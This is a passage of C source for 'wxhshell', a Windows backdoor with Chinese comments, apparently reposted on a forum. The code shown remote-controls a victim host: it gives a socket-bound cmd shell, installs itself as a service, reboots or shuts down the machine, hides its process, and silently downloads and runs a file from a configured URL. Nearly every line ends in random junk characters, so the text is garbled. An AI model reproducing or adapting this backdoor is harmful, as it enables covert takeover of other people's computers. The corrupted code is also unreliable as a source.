  // 帮助 m$UT4,Ol  
  case '?': { Q Fqv,B\<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); })u}PQ  
    break; es(LE/`e  
  } n^(yW  
  // 安装 gm8Tm$fY  
  case 'i': {  $.]t1e7s  
    if(Install()) ,,j=RG_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D/6@bcCSY  
    else m_U6"\n 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z=h5  
    break; a} fS2He  
    } 8gKR<X.G  
  // 卸载 PY:#F|uHS`  
  case 'r': { fvAV[9/-  
    if(Uninstall()) )mO;l/,0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 21EUP6}8j  
    else )BTs *7 j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :XY3TI  
    break; (C_o^_I:  
    } K#+]  
  // 显示 wxhshell 所在路径 $0C/S5b  
  case 'p': { r[4F?W  
    char svExeFile[MAX_PATH]; (tz]!Aa{s  
    strcpy(svExeFile,"\n\r"); z4`n%~w1b  
      strcat(svExeFile,ExeFile); KX}dn:;(3  
        send(wsh,svExeFile,strlen(svExeFile),0); S<9d^= a  
    break; l@F e(^5E  
    } umrI4.1c  
  // 重启 2o5< nGn  
  case 'b': { ?4?jG3p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mz. &d:  
    if(Boot(REBOOT)) fJ lN'F7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MAo,PiYb  
    else { &!~n=]*sz  
    closesocket(wsh); `.-k%2?/  
    ExitThread(0); [hj'Yg8{  
    } OQ*. ho  
    break; s(9rBDoY(8  
    } y#0Z[[I0  
  // 关机 ~u& O  
  case 'd': { m95$V&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qtwmTT)  
    if(Boot(SHUTDOWN)) Q+M3Pqy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k GeME   
    else { Donf9]&U  
    closesocket(wsh); Ph_m'fbf  
    ExitThread(0); /;$ew~}  
    } )Bvu[r Uy  
    break; >A "aOV>K  
    } S^n4aBm\+  
  // 获取shell zate%y  
  case 's': { #_|^C(]!  
    CmdShell(wsh); ?qW|k6{O  
    closesocket(wsh); hs uJ;4}$q  
    ExitThread(0); VQ 3&  
    break; df rr.i  
  } HliY  
  // 退出 G7JZP T  
  case 'x': { L%s""nP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3A1kH` X^q  
    CloseIt(wsh); Mxp4YQl  
    break; x G"p .  
    } NdQ?3'WJ  
  // 离开 jC8BLyGE_  
  case 'q': { raZRa*C;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yiA\$mtO  
    closesocket(wsh); En_8H[<%  
    WSACleanup(); Z|wDM^Lf  
    exit(1); IT33E%G  
    break; NU*6iLIq|F  
        } ]g!<5 w  
  } V1qHl5"  
  } <v^.FxId  
-e\kIK %  
  // 提示信息 ~WLsqP5Y~a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U]3JCZ{]0E  
} Bv*h ?`Q  
  }  \hc9Rk  
Wm_-T]#_  
  return; ^O"`.2O1  
} 2yc\A3ft#  
'|r !yAO6  
// shell模块句柄 ' ]Y:gmM"  
int CmdShell(SOCKET sock) UG$i5PV%i  
{ xGPv3TLH^  
STARTUPINFO si; Wd<}|?R  
ZeroMemory(&si,sizeof(si)); 9V!K. _Cb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T^SOq:m&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gE(03SX  
PROCESS_INFORMATION ProcessInfo; K)Ka"H  
char cmdline[]="cmd"; %LmB`DqZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AkC\CdmA  
  return 0; pDfF'jt9  
} 4TV9t"Dk+c  
=T6\kz9)`  
// 自身启动模式 "0mR*{nF  
int StartFromService(void) c+VUk*c3  
{  Jt][b  
typedef struct H^0KNMf(  
{ J],BO\ECH  
  DWORD ExitStatus; c6.|; 4  
  DWORD PebBaseAddress; <C(2(3  
  DWORD AffinityMask; ,)8Hl[y  
  DWORD BasePriority; >MLqOUr#  
  ULONG UniqueProcessId; ~Q\[b%>J  
  ULONG InheritedFromUniqueProcessId; pTd@i1%Nr  
}   PROCESS_BASIC_INFORMATION; ]F! ,Jx  
}=5(*Vg  
PROCNTQSIP NtQueryInformationProcess; J{I?t~u  
wDzS<mm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s3S73fNOk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LdV_7)  
<jjaqDSmz  
  HANDLE             hProcess; K;O\Pd  
  PROCESS_BASIC_INFORMATION pbi; ps [rYy  
@m4d4K@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nMqU6X>P!  
  if(NULL == hInst ) return 0; NU"X*g-x^  
Zs)9O Ju  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +q!6zGs.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B{<6 &bQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K+H82$ #  
R lu;l  
  if (!NtQueryInformationProcess) return 0; s RB8 jY  
EO^0sF<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z~<V>b  
  if(!hProcess) return 0; :mL.Y em*'  
IAQ=d4V&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EhoR.  
+`xp+Q  
  CloseHandle(hProcess); 2t%)d9r32  
Q&7Qht:ea:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nLQJ~("  
if(hProcess==NULL) return 0; .7q#{`K^=  
L;;x%>  
HMODULE hMod; &0myA_So  
char procName[255]; [;}c@  
unsigned long cbNeeded; ?Eed#pb_  
?IWS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w*x}4wW  
F);C?SW"  
  CloseHandle(hProcess); b $!l* r  
a+d|9y/k  
if(strstr(procName,"services")) return 1; // 以服务启动 Uz6B\-(0p  
]|oqJ2P  
  return 0; // 注册表启动 u Wtp2]A  
} l }[ 4  
v~SN2,h  
// 主模块 . x$` i  
int StartWxhshell(LPSTR lpCmdLine) Iq9+  
{ +4 dHaj6  
  SOCKET wsl; p O.8>C%  
BOOL val=TRUE; ;6Z?O_zp4  
  int port=0; SJfsFi?n  
  struct sockaddr_in door; -M:.D3,L  
-Q/Dbz#-  
  if(wscfg.ws_autoins) Install(); ; 1WclQ!(  
gNJ\*]SY  
port=atoi(lpCmdLine); $k dfY'u  
FM5$83Q  
if(port<=0) port=wscfg.ws_port; - >2ej4C  
se-}d.PwL  
  WSADATA data; *)Y;`Yg$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }[|"db  
B dSTB"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p<YO3@B+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tSjK=1"}  
  door.sin_family = AF_INET; F+X3CB,f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QJ QQ-  
  door.sin_port = htons(port); a^N/N5-Z  
[Z1EjeX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t{ 'QMX  
closesocket(wsl); a v/=x  
return 1; ie)Qsw@  
} 1FuChd  
CBc}N(9  
  if(listen(wsl,2) == INVALID_SOCKET) { 8w$cj'  
closesocket(wsl); z&eJ?wb  
return 1; jU=)4nx  
} drH!?0Dpg  
  Wxhshell(wsl); }I]9I _S  
  WSACleanup(); ][.1b@)qV  
3Xy>kG}  
return 0; @{j-B IRZ0  
?r/7:  
} lD(d9GVm{z  
X6PfOep  
// 以NT服务方式启动 j \SDw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W[b/.u5z:  
{ 2- )Ml*  
DWORD   status = 0; l{ k   
  DWORD   specificError = 0xfffffff; 'lWNU   
nV'B!q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i^=an?}/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f,$FrI,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H_ x35|"  
  serviceStatus.dwWin32ExitCode     = 0; bF3j*bpO"  
  serviceStatus.dwServiceSpecificExitCode = 0; uzsR*x%s-  
  serviceStatus.dwCheckPoint       = 0; s;A]GJ  
  serviceStatus.dwWaitHint       = 0; q.*qZ\;K  
\]^|IViIQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,y^By_1wS  
  if (hServiceStatusHandle==0) return; wH<S0vl   
n_5g:`Y  
status = GetLastError(); tZ(Wh  
  if (status!=NO_ERROR) /(Y\ <  
{ Bk8U\Ut  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *H;&hq  
    serviceStatus.dwCheckPoint       = 0; SN11J+  
    serviceStatus.dwWaitHint       = 0; lcih [M6z  
    serviceStatus.dwWin32ExitCode     = status;  /8.;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;$nK ^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m^`X|xK-  
    return; b*,R9  
  } Ros5]5=dP  
7I HWj<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Drg'RR><  
  serviceStatus.dwCheckPoint       = 0; W2REwUps  
  serviceStatus.dwWaitHint       = 0; p_qH7W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1wwhTek  
} lp4sO#>`  
l_DPlY  
// 处理NT服务事件,比如:启动、停止 X!&=S!}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;DGp7f#9  
{ <F&S   
switch(fdwControl) a"~W1|JC"  
{ e{"d6pF=  
case SERVICE_CONTROL_STOP: lk8VJ~2d  
  serviceStatus.dwWin32ExitCode = 0; YTY0N5["  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IUzRE?Kzf  
  serviceStatus.dwCheckPoint   = 0; bBjVot  
  serviceStatus.dwWaitHint     = 0; E#T'=f[r~  
  { bMgp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :5;[Rg5 2  
  } lG q;kIQ  
  return; JG4Tb{F=  
case SERVICE_CONTROL_PAUSE: T `N(=T^*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xa-]+_?Q  
  break; )U8F6GIC&}  
case SERVICE_CONTROL_CONTINUE: |]Ockg[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vh T9#) HI  
  break; 4iDo.1B"  
case SERVICE_CONTROL_INTERROGATE: !zD| @sX{  
  break; GlVq<RG*  
}; `,TPd ~#~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qbB.Z#w  
} 3fpX  
9;.dNdg>  
// 标准应用程序主函数 x< imMJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lc+)#9*d  
{ iTD{  
=PXNg!B}D*  
// 获取操作系统版本 N$pO] p  
OsIsNt=GetOsVer(); G$ipWi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )5&Wt@7Kj`  
>4bOM@[]  
  // 从命令行安装 ARslw*SJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); !iITX,'8  
AX[/S8|6  
  // 下载执行文件 vVE^Y  
if(wscfg.ws_downexe) { ;0 @"1`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7v1}8Uk  
  WinExec(wscfg.ws_filenam,SW_HIDE); }**^ g:  
} @@}A\wA-  
!SVW}Q=5#  
if(!OsIsNt) { l~!#<=.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^fH]Rlx  
HideProc(); ]kc]YO7i%R  
StartWxhshell(lpCmdLine); P%.9g  
} z.#gpTXD  
else D4_D{\xhO  
  if(StartFromService()) +BmA4/P$  
  // 以服务方式启动 df}B:?Ew.  
  StartServiceCtrlDispatcher(DispatchTable); fyT!/  
else Ii SO {  
  // 普通方式启动 3vDV   
  StartWxhshell(lpCmdLine); ;9d(GP}eE  
V.;0F%zks5  
return 0; `Q}.9s_ri  
}
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只看该作者 1 发表于: 2006-10-10
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